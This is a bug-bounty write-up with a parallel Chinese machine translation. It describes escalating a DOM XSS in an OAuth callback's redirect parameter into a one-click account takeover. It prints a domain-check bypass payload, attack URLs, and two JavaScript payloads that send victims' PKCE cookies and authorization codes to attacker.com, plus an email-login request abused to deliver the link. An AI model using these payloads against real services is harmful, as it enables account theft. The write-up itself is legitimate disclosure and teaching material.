How we escalated a DOM XSS to a sophisticated 1-click Account Takeover for $8000 – Part 2
This is the second part of our blog series on How we escalated a DOM XSS to a sophisticated 1-click Account Takeover for $8000:
这是我们博客系列的第二部分,介绍了我们如何以 8000 美元的价格将 DOM XSS 升级为复杂的一键式帐户接管:
- Part 1: Understanding the OAuth login flow and the initial attack surface
第 1 部分:了解 OAuth 登录流和初始攻击面 - Part 2: Exploiting the DOM XSS and escalating it to a 1-click Account Takeover
第 2 部分:利用 DOM XSS 并将其升级为一键式帐户接管
If you haven’t read the first part, we highly recommend you to do so to understand the context of this blog post.
如果您还没有阅读第一部分,我们强烈建议您阅读以了解这篇博文的上下文。
III. DOM XSS to 1-click Account Takeover
三、DOM XSS一键式账户接管
Here is the sequence diagram of the complete OAuth flow from Part 1:
以下是第 1 部分中完整 OAuth 流的序列图:
1. Finding the DOM XSS 🔎🐛
1. 查找 DOM XSS 🔎🐛
At step 8 of the login flow, the value of next
parameter will be placed in the destination property, where the client-side JavaScript will then use to redirect the webpage.
在登录流程的第 8 步中, next
参数的值将放置在目标属性中,然后客户端 JavaScript 将使用该属性重定向网页。
As we can see, the destination URL is used at href
sink. A typical sink for javascript:
protocol DOM XSS.
正如我们所看到的,目标 URL 用于 href
接收器。协议 DOM XSS 的 javascript:
典型接收器。
However, when trying the typical payload, we are greeted with a 500 Internal Server Error
但是,在尝试典型的有效负载时,我们会遇到 500 内部服务器错误
Let’s bypass this (☞゚ヮ゚)☞
让我们绕过这个(゚ ☞ヮ゚) ☞
1 2 3 4 5 6 7 8 9 10 11 |
Here are my attempts: javascript:alert(1) => ❌ Does not work https://attacker.com => ❌ Does not work https://account.partner.com/random_stuff_here => ✅ Works javascript://account.partner.com/random_stuff_here => ✅ Works javascript://account.partner.com/%0Aalert(1) => ✅ Works |
So basically, the server only checks for the domain name if it is account.partner.com
after ://
without checking the protocol.
所以基本上,服务器只检查 account.partner.com
域名,如果它没有检查协议。 ://
Moreover, javascript://account.partner.com/%0Aalert(1)
is a completely valid XSS payload.
此外, javascript://account.partner.com/%0Aalert(1)
是一个完全有效的 XSS 有效负载。
In JS, //
is treated as a line comment, so it will comment out the account.partner.com
part and %0A
will creates a newline where alert(1)
will be executed.
在 JS 中, //
被视为行注释,因此它将注释掉 account.partner.com
该部分并 %0A
创建一个将在其中 alert(1)
执行的换行符。
You can try this yourself on the browser console.
您可以在浏览器控制台上自行尝试。
1
|
window.location.href = "javascript://account.partner.com/%0Aalert(1)"
|
So we now have a valid XSS payload to bypass the domain name check!
因此,我们现在有一个有效的 XSS 有效负载来绕过域名检查!
2. First attempt on performing the ATO 😥
2. 首次尝试执行 ATO 😥
In order for us to perform the ATO we need to get 2 things:
为了让我们执行 ATO,我们需要得到 2 件事:
- The code verifier (available in the
xxxxx-pkce
cookie) associated with the authorization code
与授权代码关联的代码验证器(xxxxx-pkce
在 cookie 中可用) - The authorization code (available on the URL)
授权代码(可在 URL 上找到)
We can both get these with our XSS and send them back to our attacker’s server.
我们都可以用我们的 XSS 获取这些,并将它们发送回攻击者的服务器。
However, there is one catch:
但是,有一个问题:
Our XSS on 我们的 XSS 在
1
|
https://account.partner.com/oauth_callback?next=javascript://account.partner.com/%0Aalert(window.location.href)&code=<authorization_code>
|
is only executed after the authorization code is used successfully.
只有在成功使用授权码后才会执行。
As you can see, the authorization_code
is already used and verified at step 9.
如您所见,已在步骤 9 中使用并验证了 authorization_code
。
Because the authorization_code
is only allowed to use 1 time only, when we try to exchange the captured authorization_code
and code_verifier
for the victim’s access token at POST /access_token
the following error will occur:
因为只 authorization_code
允许使用1次,当我们尝试交换捕获 authorization_code
的和 code_verifier
受害者的访问令牌时 POST /access_token
,会出现以下错误:
1
|
{"error":"invalid_grant","errorDescription":"`code` is expired"}
|
We need to find some way to allow us to capture the victim’s code verifier
and the associated authorization code
before it is used!
我们需要找到一些方法,让我们在使用之前捕获受害者 code verifier
和相关 authorization code
人员!
3. How we overcome the 1-time code issue 😤
3. 我们如何克服一次性代码问题 😤
-
In order to get the valid access token of the victim, we need to get their code verifier (
xxxxx-pkce
) and the unused generated authorization code (code
).
为了获取受害者的有效访问令牌,我们需要获取他们的验证码(xxxxx-pkce
)和未使用的生成授权码(code
)。 -
Few hours later, we came up with the idea of forcing the victim’s browser to use the
attacker’s authorization code
to trigger the XSS and steal thevictim’s unused authorization code
.
几个小时后,我们想出了一个主意,即强制受害者的浏览器使用 触发attacker’s authorization code
XSS 并窃取victim’s unused authorization code
. -
We will first tamper the
redirect_uri
parameter to something like this:
我们将首先将redirect_uri
参数篡改为如下所示:1
https://account.partner.com/oauth_callback?code=<attacker_code>&next=javascript://account.partner.com/%0A<XSS_PAYLOAD_STEAL_2nd_CODE>
-
The
/oauth_callback
at step 7 will look like this:
/oauth_callback
第 7 步将如下所示:- Please notice that now there are 2
code
params in the URL as the server will prepend the newly generated victim’sauthorization_code
to the previous suppliedredirect_uri
请注意,现在 URL 中有 2code
个参数,因为服务器会将新生成的受害者authorization_code
的参数添加到之前提供redirect_uri
的受害者之前
1
https://account.partner.com/oauth_callback?code=<attacker_code>&next=javascript://account.partner.com/%0A<XSS_PAYLOAD_STEAL_2nd_CODE>&code=<victim_code>
- Please notice that now there are 2
-
This time the application will use the first
code
parameter in the URL andlog the victim into the Attacker’s account
.
这一次,应用程序将使用 URL 中的第一个code
参数和log the victim into the Attacker’s account
. -
After that the XSS will be triggered, sending the unused victim’s authorization code (the second
code
) to the attacker’s server.
之后,将触发 XSS,将未使用的受害者授权代码(第二个code
)发送到攻击者的服务器。 -
The attacker can now use this unused code for exchanging the victim’s access token.
攻击者现在可以使用此未使用的代码来交换受害者的访问令牌。 -
We also need to take the
code_verifier
(xxxxx-pkce
cookie) into account.
我们还需要考虑code_verifier
(xxxxx-pkce
cookie)。 -
Essentially, we will force the victim into using the attacker’s authorization_code and the code_verifier for logging in, then we will steal their unused authorization_code and code_verifier.
从本质上讲,我们将迫使受害者使用攻击者的authorization_code和code_verifier登录,然后我们将窃取他们未使用的authorization_code和code_verifier。 -
The flow will look like this:
流程将如下所示:Link to the the sequence diagram in SVG format
链接到 SVG 格式的序列图-
Victim clicks on the malicious link and login on page
account.redacted.com
. The link will look like this:
受害者点击恶意链接并登录页面account.redacted.com
。该链接将如下所示:1
https://account.redacted.com/authorize?redirect_uri=https://account.partner.com/oauth_callback?next=javascript://account.partner.com/%0A[XSS payload 1]&response_type=code
-
After logging in successfully,
account.redacted.com
will return theauthorization_code
within theredirect_uri
and then redirect victim to thatredirect_url
登录成功后,account.redacted.com
将authorization_code
返回 within ,redirect_uri
然后将受害者重定向到该redirect_url
1
redirect_url = redirect_uri + "<authorization_code>"
In this case, the redirect URL will be:
在这种情况下,重定向 URL 将为:1
redirect_url = "https://account.partner.com/oauth_callback?next=javascript://account.partner.com/%0A[XSS payload 1]" + "&code=<authorization_code>"
-
account.partner.com
will verify thisauthorization_code
along with thecode_verifier
.
account.partner.com
authorization_code
将与code_verifier
.After that, the victim continues to get redirected to the URL stored in the parameter
next
(which is also a XSS payload)
之后,受害者继续被重定向到存储在参数中的 URLnext
(这也是 XSS 有效负载)1
next=javascript://account.partner.com/%0A[XSS payload 1]
-
The
XSS payload 1
will trigger and do 3 things:
将XSS payload 1
触发并执行 3 件事:- Send the current victim’s cookie
xxxxx-pkce
(code_verifier
) back to attacker’s server
将当前受害者的 cookiexxxxx-pkce
(code_verifier
) 发送回攻击者的服务器 - Set the victim’s
xxxxx-pkce
cookie to the attacker’sxxxxx-pkce
cookie
将受害者xxxxx-pkce
的 cookie 设置为攻击者的xxxxx-pkce
cookie - Force the victim to perform the OAuth flow
again
with theattacker's authorization code
. Hence, logging the victim to the attacker’s account.
强制受害者again
使用attacker's authorization code
.因此,将受害者记录到攻击者的帐户。
XSS payload 1: XSS 有效负载 1:
1 2 3 4 5 6 7 8
// The pkce is stored in the cookie, so we just need to send all the cookie to the attacker's server fetch("//attacker.com?pkce=" + document.cookies) .then(r => { // Set the attacker's pkce on the victim's browser document.cookie="xxxxx-pkce = <attacker_pkce>" // Force the victim to perform the OAuth flow again to log the victim in the attacker's account and trigger the 2nd XSS window.location.href = "https://account.redacted.com/authorize?redirect_uri=" + url_encode("https://account.partner.com/oauth_callback?code=<attacker-code>&next=javascript://account.partner.com/%0A[XSS payload 2]") })
This time the
redirect_uri
will looks like this:
这一次的redirect_uri
遗嘱是这样的:1
https://account.partner.com/oauth_callback?code=<attacker_code>&next=javascript://account.partner.com/%0A[XSS payload 2]
- Send the current victim’s cookie
-
Now, because both of the attacker’s
xxxxx-pkce
andcode
is valid, the victim will now successfully log in theattacker’s account
and trigger the redirection containingXSS payload 2
.
现在,由于攻击者的xxxxx-pkce
和code
都有效,受害者现在将成功登录并attacker’s account
触发包含XSS payload 2
.- Please noticed on the first parameter
code
(attacker_code
) is used for authenticating the victim to our attacker’s account. The second parametercode
(victim_code
) will still remain unused.
请注意,第一个参数code
(attacker_code
) 用于对攻击者帐户的受害者进行身份验证。第二个参数code
(victim_code
) 仍将保持未使用状态。
- The
XSS payload 2
will send theunused authorization_code
from the URL back to attacker sserver.
会XSS payload 2
unused authorization_code
将 URL 发送回攻击者服务器。
1 2
// the victim's authorization code will be in the url fetch("//attacker.com?code=" + window.location.href)
- Please noticed on the first parameter
-
-
Overall, the crafted exploit URLs and XSS payloads should look like this:
总体而言,构建的漏洞利用 URL 和 XSS 有效负载应如下所示:- Attack URL 攻击 URL
1
https://account.redacted.com/authorize?redirect_uri=javascript://account.partner.com/%0A[XSS payload 1]
- XSS payload 1 XSS 有效负载 1
1 2 3 4 5 6 7 8
// The pkce is stored in the cookie, so we just need to send all the cookie to the attacker's server fetch("//attacker.com?pkce=" + document.cookies) .then(r => { // Set the attacker's pkce on the victim's browser document.cookie="xxxxx-pkce = <attacker_pkce>" // Force the victim to perform the OAuth flow again to log the victim in the attacker's account and trigger the 2nd XSS window.location.href = "https://account.redacted.com/authorize?redirect_uri=" + url_encode("https://account.partner.com/oauth_callback?code=<attacker-code>&next=javascript://account.partner.com/%0A[XSS payload 2]") })
- XSS payload 2 XSS 有效载荷 2
1 2
// the victim's authorization code will be in the url fetch("//attacker.com?code=" + window.location.href)
-
After receiving both of the victim’s
authorization_code
andcode_verifier
on our attacker’s server. We can use them to exchange for the access token 💪💪💪
在收到受害者authorization_code
和code_verifier
攻击者服务器后。我们可以使用它们来交换访问令牌 💪💪💪
4. Escalate, escalate, escalate,… to one-click mail ATO 🏃♂️🏃♂️🏃♂️
4.升级,升级,升级,…一键邮件 ATO 🏃 ♂️🏃 ♂️🏃 ♂️
- After the success in performing the ATO by tricking the user into clicking on the crafted link, this is clearly a valid issue and we could submit the bug and then rest 😴.
在通过诱骗用户单击精心制作的链接成功执行 ATO 之后,这显然是一个有效的问题,我们可以提交错误然后休息😴。 - However, our ego (😎) told us that this was still not the maximum impact of this bug, therefore, we continued to raise the impact.
然而,我们的自我(😎)告诉我们,这仍然不是这个错误的最大影响,因此,我们继续提高影响。 - The problem that stops this bug from maximizing the impact is it requires a huge effort in the social engineering state to trick the victim into clicking on the crafted link. Obviously, there is a very small chance that the user will click on the lengthy link like that.
阻止此错误最大化影响的问题是,在社会工程状态下,它需要付出巨大的努力才能诱骗受害者点击精心制作的链接。显然,用户点击这样的冗长链接的可能性很小。 - At this state, the first possible solution that comes across our mind is using the logging with email verification link function and injecting the malicious link via redirect parameter.
在这种状态下,我们想到的第一个可能的解决方案是使用带有电子邮件验证链接功能的日志记录,并通过重定向参数注入恶意链接。 - We continued to search the app and found all of the possible login portals. Luckily, we found 2 of them that allow user login via email.
我们继续搜索该应用程序并找到了所有可能的登录门户。幸运的是,我们找到了其中 2 个允许用户通过电子邮件登录。 - Here is the request:
这是请求:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
POST /v1/email/login/request HTTP/2 Host: api.xxxxxx.com Cookie: <====SNIP====> Accept: application/json, text/plain, */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: https://account.xxxx.com/ Content-Type: application/json X-Locale-Language: en-US Content-Length: 202 Origin: https://account.xxxxx.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site Te: trailers {"email":"[email protected]","next_url":"<===XSS_REDIRECT_HERE===>","login_session_uuid":"697a3410-11ff-4ba6-bd31-3b26ed7dfac5"} |
- This will send an email with the log-in link to the victim
这将向受害者发送一封包含登录链接的电子邮件
- After the victim clicks on the “Log in” button, there will be 2 cases:
受害人点击“登录”按钮后,会有2种情况:If the victim is logged in:
The application will automatically redirect the victim back to our malicious link in the parameternext_url
⇒ The ATO XSS is triggered
If the victim is logged in:
该应用程序会自动将受害者重定向回参数中的恶意链接next_url
⇒ 触发 ATO XSSIf the victim is not logged in:
The login link from the email will automatically log the victim into his account. After that, the victim will be redirected back to our malicious link in the parameternext_url
⇒ The ATO XSS is triggered
If the victim is not logged in:
电子邮件中的登录链接将自动将受害者登录到他的帐户中。之后,受害者将被重定向回参数中的恶意链接next_url
⇒ 触发 ATO XSS
⇒ 💣💣💣 So that is our full chain of One-click ATO via the target’s email.
💣💣💣 ⇒ 这就是我们通过目标电子邮件的一键式ATO的完整链条。
In our actual exploit, we have created a script to automate all the steps we’ve mentioned.
在我们的实际漏洞利用中,我们创建了一个脚本来自动执行我们提到的所有步骤。
IV. Conclusion 四、结语
We hope that you guys enjoy our first blog post! Some details has been ruled out (encoding, payload length limiting, …) in order to keep this blog post concise and not too confusing.
我们希望你们喜欢我们的第一篇博文!一些细节已被排除(编码、有效载荷长度限制等),以保持这篇博文的简洁性,不会太混乱。
We truly believe that by focusing on understanding how every thing works, interesing issues will start showing up!
我们真的相信,通过专注于了解每件事是如何运作的,内部问题就会开始出现!
This vulnerability took us a whole week to identify and write the fully functional exploit. Another week to explain and go through the triaging stages.
这个漏洞花了我们整整一周的时间来识别和编写功能齐全的漏洞。再过一周来解释和经历分类阶段。
Side story, this is also our first time having a Google Meet session with the program’s security team. We had to perform the exploit live to demonstrate the impact until 2AM in the morning. It was a pretty fun experience. 😀
顺便说一句,这也是我们第一次与该计划的安全团队进行 Google Meet 会议。我们必须现场执行漏洞利用以演示影响,直到凌晨 2 点。这是一次非常有趣的经历。:D
Finally, our hard work was paid off with a reward of $8000 🤩
最终,我们的辛勤工作得到了回报,获得了 8000 🤩 美元的奖励
Thank you for reading! We hope that we’ll find more interesting cases in the future to share with you guys!
感谢您的阅读!我们希望以后能找到更多有趣的案例与大家分享!
原文始发于thefrogsec:How we escalated a DOM XSS to a sophisticated 1-click Account Takeover for $8000 – Part 2
转载请注明:How we escalated a DOM XSS to a sophisticated 1-click Account Takeover for $8000 – Part 2 | CTF导航